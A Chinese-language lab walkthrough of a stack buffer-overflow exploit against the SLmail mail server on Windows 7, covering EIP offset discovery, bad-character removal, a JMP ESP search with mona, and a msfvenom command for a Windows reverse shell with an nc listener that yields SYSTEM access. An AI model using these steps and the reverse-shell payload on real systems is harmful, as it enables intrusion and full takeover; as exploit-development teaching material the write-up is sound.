1. 程式人生 > 其它 >Windows下SLmail郵件伺服器緩衝區溢位理解及實驗

Windows下SLmail郵件伺服器緩衝區溢位理解及實驗

本次緩衝區溢位實驗是在Windows7 Unlimit 64位下的SLmail郵件服務溢位測試。

注:SLmail並不是一個特別常用的郵件服務應用,本次實驗僅限於理解緩衝區溢位的過程以及方法

目標機: Windows7 Unlimit x64 10.11.12.13

攻擊機: Kali Linux 10.11.0.29

涉及工具:

Metasploit Framework Immunity Debugger(裝好mona模組)

步驟

先將Immunity Debugger Attach上SLmail的主程序

點這個

讓程序解除冰凍狀態,轉為running狀態

這個時候轉到Kali,使用Buffer溢位指令碼檢測溢位所需的位元組,指令碼原始碼如下

使用該指令碼並加上目標引數

觀察,等到Debugger右上角視窗EIP指標為41414141(A的ASCII編碼)時代表溢位成功

記下python指令碼視窗處此時的位元組數,本次試驗為2900 bytes

重新啟動SLmail服務,並重新Attach程序

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900 //使用MSF的buffer生成工具生成一段字元,來精確定位溢位位置

編寫修改針對性的溢位指令碼

原始碼如下

此時執行此指令碼,再觀察Debugger右上側視窗,觀察EIP指標所指向的字串

可以看到字串為 39694438

此時利用pattern_create相對的工具pattern_offset查詢這串位元組相對的位置

可知是位於 第2606個位元組之後的位元組就是EIP所指向的!

這時修改指令碼

觀察可知,這四個B就是EIP所指向的內容,而後16個C為補全2900個位元組所設定的

執行指令碼

觀察到如下結果,可知EIP的確被指向到了2606bytes之後的位置,因為BBBB的ASCII碼為42424242

我們再觀察ESP的位置在哪裡

可以觀察到ESP指向的位置在0x0169A128,恰巧也被CCCC給填滿了

一般來說一個payload的位元組數在315-450之間,所以只要將0169A128開始的記憶體地址溢位到我們的payload就可以了

所以我們開始使用msf生成payload,但是要知道,這是在一個程式記憶體棧中進行decode,肯定會有一些位元組被這個程式錯誤理解

所以我們需要尋找一些壞位元組 也就是Bad Characters

修改指令碼如下

再次執行該指令碼並且dump到ESP位置的記憶體

可以看到,明顯有幾個位元組被錯誤編譯了,到第10個位元組應該是10卻變成了29

所以我們應該在指令碼中去掉/x0a,並再次執行

仔細仔細再仔細地看,你會發現少了0D這個位元組,說明/0d這個位元組也是壞的,從指令碼中去除。同理再次實驗,你會發現一切都是正常的,沒有壞位元組了所以,我們知道對於SLmail來說,壞位元組有/x00,/x0a,/x0d。知道了壞位元組有哪些,我們就可以生成shellcode啦!但是,我們還得想辦法讓EIP重定向到我們想要的記憶體地址!

這時候,我腦子裡第一時間想到的是直接把EIP的地址改成ESP的地址。直接讓執行流執行ESP所定位到的那一串程式碼不就行了嘛?但是實際上在溢位過程中ESP所指向的地址並不會保持不變,

因為絕大多數程式都是多程序的,ESP的指向並不是按照順序的單一的他會指向奇奇怪怪的地方,所以這個方法不可行!

那咋辦嘞?我們知道,在一個程式執行的時候,程式本身首先會被寫入到記憶體中,順帶著它需要的各種DLL以及Drive和Modules,所以我們可以尋找含有JMP ESP這個指令的各種模組並利用他們。為了尋找合乎條件的DLL以及模組,我們需要用到第三方模組mona

在Debugger的下方命令列輸入

!mona modules

就可以看到所有loaded的modules

這時候就可以尋找符合條件的modules了

符合條件的modules需要符合3個條件

1.本身的base記憶體地址不包含上面提到的壞位元組 2.沒有被前四個反緩衝區溢位機制保護

這裡只有一個DLL滿足條件

按下工具條上的E來檢視所有可被執行的dll

找到對應的DLL並雙擊

到主介面search相應的操作

但奇怪的是無論是search command和sequence commands都沒法找到想要找的jmp esp位元組

這個是很不科學的小概率事件,講道理一個有用的DLL肯定會包含一兩個這個命令

仔細想過後並且查看了這個DLL的詳細資訊(工具條按M按鈕)

你會發現只有.text區塊是被表明了Excutable的,所以可能mona在剛剛的查詢中只查找了這個區塊

沒有查詢其他幾個區塊,這時候我們可以直接讓mona去查詢記憶體,但是得知道相應的命令在記憶體中是怎麼表示的

這時候就需要msf的nasm_shell工具了

這個時候我們知道jmp esp這個操作會在記憶體中被表示為 FFE4

然後我們直接使用mona查詢

!mona find -s "xffxe4" -m slmfc.dll

我們發現results裡第一個地址不包含壞位元組並且是可用的

我們就使用第一個!

跳轉到對應的記憶體地址並核對,果然發現有我們夢寐以求的JMP ESP

現在開始修改溢位指令碼!

但但但是,在溢位指令碼執行之後,郵件服務肯定會癱瘓,所以為了我們演示需要,需要做一個斷點

選中這一行,按F2並點確定 按F8繼續執行

終於可以開始寫指令碼啦

首先使用msf去生成一個shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.209 LPORT=4444 -f c -a x86 --platform windows -b "x00x0ax0d" -e x86/shika

生成成功 (一定要注意長度!)

buffer的A*2606是為了達到EIP點,使程式下一步操作跳轉到slmc.dll程式碼中的一個jmp esp。

這樣在esp地址下的我們的shellcode便可得到執行。那16個x90是為了防止shellcode程式的開頭一部分被編譯器認為是垃圾不去處理,總之就是為了告訴編譯器我後面的是程式!

寫好指令碼,在kali攻擊機的4444埠開啟監聽

nc -lvp 4444

shell get √√√

檢視下許可權

是最高系統許可權,滲透完成